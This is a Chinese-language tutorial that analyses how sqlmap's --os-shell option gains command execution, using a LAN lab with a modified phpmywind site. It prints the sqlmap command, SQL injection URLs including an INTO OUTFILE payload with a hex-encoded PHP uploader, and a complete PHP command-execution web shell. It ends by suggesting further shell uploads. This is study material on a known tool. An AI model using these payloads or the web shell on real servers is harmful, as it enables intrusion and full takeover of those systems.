溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

sqlmap之os?shell怎么使用

發(fā)布時(shí)間:2023-03-02 14:11:35 來(lái)源:億速云 閱讀:151 作者:iii 欄目:開發(fā)技術(shù)

這篇文章主要介紹“sqlmap之os shell怎么使用”,在日常操作中,相信很多人在sqlmap之os shell怎么使用問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”sqlmap之os shell怎么使用”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!

    0x00 Background

    最近遇到測(cè)試環(huán)境,最后利用sqlmap的--os-shell參數(shù)取得shell。一直以來(lái),對(duì)這個(gè)參數(shù)的工作原理不是十分的清晰。大致的思想應(yīng)該是將腳本插入到數(shù)據(jù)庫(kù)中,然后生成相應(yīng)的代碼文件,獲取shell即可執(zhí)行命令。

    0x01 Environment[

     本環(huán)境是在局域網(wǎng)下利用兩臺(tái)主機(jī)搭建的,環(huán)境比較真實(shí)。

    攻擊機(jī):

    • 系統(tǒng):windows7

    • 工具:sqlmap

    靶機(jī):

    • 系統(tǒng):windows7

    • 環(huán)境:wamp搭建的apache、mysql和php

    • 網(wǎng)頁(yè)源碼:phpmywind,此處修改了點(diǎn)源代碼,方便進(jìn)行測(cè)試。

    0x02 Attack demo

    (1)環(huán)境測(cè)試

    url:192.168.0.166/php/newsshow.php?cid=4&id=11

    截圖:

    sqlmap之os?shell怎么使用

    (2)攻擊

    python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

    sqlmap之os?shell怎么使用

    (3)選擇語(yǔ)言

    sqlmap默認(rèn)為php,此處根據(jù)需求選擇。

    sqlmap之os?shell怎么使用

    (4)輸入絕對(duì)路徑

    此處因?yàn)橛脀amp搭建,并安裝在c盤下。所以選擇2選項(xiàng),輸入路徑為c:/wamp/www

    sqlmap之os?shell怎么使用

    (5)建立os-shell并執(zhí)行命令

    sqlmap之os?shell怎么使用

    0x03 Analysis

    (1)抓包

    利用wireshark進(jìn)行抓包

    sqlmap之os?shell怎么使用

    (2)第一個(gè)url分析

    http://192.168.0.166/php/newsshow.php?cid=4&BWGH%3D3922 AND 1%3D1 UNION ALL SELECT 1%2C2%2C3%2Ctable_name FROM information_schema.tables WHERE 2>1-- ..%2F..%2F..%2Fetc%2Fpasswd

    url解碼

    http://192.168.0.166/php/newsshow.php?cid=4&BWGH=3922 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

    sqlmap之os?shell怎么使用

    這條語(yǔ)句我認(rèn)為對(duì)于os-shell并沒有實(shí)際性的作用。

    (3)插入數(shù)據(jù)

    3.1解析into outfile

    http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -

    解析url(除16進(jìn)制字符)

    http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616=3616 LIMIT 0,1 INTO OUTFILE '/wamp/www/tmpulujm.php' LINES TERMINATED BY 0x...

    解釋:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php'的意思是將內(nèi)容輸入到outfile中。

    LINES TERMINATED BY則是into outfile的參數(shù),意思是行結(jié)尾的時(shí)候用by后面的內(nèi)容,通常的一般為‘/r/n’,此處我們將by后的內(nèi)容修改為后面的16進(jìn)制的文件。

    解析16進(jìn)制文件

    sqlmap之os?shell怎么使用

    如上圖,16進(jìn)制轉(zhuǎn)換為字符串為:

    `

    轉(zhuǎn)換后的代碼

    顯然,16進(jìn)制為php代碼。

    先訪問(wèn)以下tmpulujm.php

    sqlmap之os?shell怎么使用

    此處主要實(shí)現(xiàn)了向服務(wù)器傳輸文件的一個(gè)功能。此處簡(jiǎn)單看下上述文件php語(yǔ)句進(jìn)行分析。

    sqlmap之os?shell怎么使用

    實(shí)現(xiàn)的就是上傳文件,同時(shí)根據(jù)phpversion,將上傳的文件的權(quán)限進(jìn)行修改。學(xué)習(xí)到一點(diǎn)就是4.1.0的版本下,可直接執(zhí)行。

    (4)執(zhí)行命令

    現(xiàn)在我們已經(jīng)可以上傳文件了,但是仔細(xì)考慮一下,sqlmap是提供一個(gè)os-shell,我們現(xiàn)在只分析到了可以上傳文件的步驟。那接下來(lái),還需要在抓取的數(shù)據(jù)中進(jìn)行分析。

    在分析數(shù)據(jù)包中,我看到一個(gè)post數(shù)據(jù)包,從content中看到此數(shù)據(jù)包是實(shí)現(xiàn)了上傳一個(gè)類似于cmd的一個(gè)php文件。

    sqlmap之os?shell怎么使用

    從上圖可以看到,利用tmpulujm.php上傳了一個(gè)tmpbtfgo.php的文件。將tmpbtfgo.php的內(nèi)容截取出來(lái),得到了一段php代碼。格式請(qǐng)自行調(diào)整。

    <?php 
    $c=$_REQUEST["cmd"];
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time',0);
    $z=@ini_get('disable_functions');
    if(!empty($z))
    {
    	$z=preg_replace('/[, ]+/',',',$z);
    	$z=explode(',',$z);
    	$z=array_map('trim',$z);}
    else
    	{
    		$z=array();
    		}
    $c=$c." 2>&1\n";
    function f($n)
    {global $z;
    return is_callable($n)and!in_array($n,$z);
    }
    if(f('system'))
    {ob_start();
    system($c);
    $w=ob_get_contents();
    ob_end_clean();
    }elseif(f('proc_open')){
    	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
        $w=NULL;
        while(!feof($t[1])){
    		$w.=fread($t[1],512);
    	    	}
            @proc_close($y);
    }
        elseif(f('shell_exec')){
    	$w=shell_exec($c);
    	}
    	elseif(f('passthru')){
    		ob_start();
    		passthru($c);
    		$w=ob_get_contents();
    		ob_end_clean();
    		}elseif(f('popen')){
    			$x=popen($c,r);
    			$w=NULL;
    			if(is_resource($x)){
    				while(!feof($x)){
    				$w.=fread($x,512);
    					}
    					}
    					@pclose($x);
    					}elseif(f('exec')){
    						$w=array();
    						exec($c,$w);
    						$w=join(chr(10),$w).chr(10);
    						}else{
    							$w=0;
    							}
    							print "</pre>".$w."</pre>";?>'''

    上述代碼實(shí)現(xiàn)了os-shell得到了命令后,如何執(zhí)行命令以及輸出執(zhí)行結(jié)果到os-shell中。
    因此我們可以在os-shell中執(zhí)行命令。

    0x04 os-shell的使用

    通過(guò)上述的分析,我們知道了sqlmap os-shell參數(shù)的用法以及原理。

    很多的人會(huì)對(duì)os-shell的使用進(jìn)行吐槽,這是得要多大的權(quán)限才能執(zhí)行。是的,os-shell的執(zhí)行條件有三個(gè)

    (1)網(wǎng)站必須是root權(quán)限

    (2)攻擊者需要知道網(wǎng)站的絕對(duì)路徑

    (3)GPC為off,php主動(dòng)轉(zhuǎn)義的功能關(guān)閉

    此處對(duì)于中小型企業(yè),如果自己搭建的服務(wù)器,例如直接用wamp或者phpnow等快捷方式搭建的服務(wù)器,基本上可以滿足以上三個(gè)條件。
    同時(shí),對(duì)于os-shell的用法,很多的小伙伴會(huì)吐槽,都他么能上傳了,還搞jb的os-shell了。對(duì)的,我們可以直接上傳大馬進(jìn)行下一步的工作。當(dāng)然亦可以上傳一句話,然后利用菜刀進(jìn)行連接。

    此處只是對(duì)sqlmap工作原理進(jìn)行了一頓分析。至于利用方式以及攻擊手段,當(dāng)然有很多種,自行發(fā)散思維即可。接下來(lái)的工作是直接看下sqlmap的源碼,才能理解的更為深刻。

    到此,關(guān)于“sqlmap之os shell怎么使用”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注億速云網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章!

    向AI問(wèn)一下細(xì)節(jié)

    免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

    AI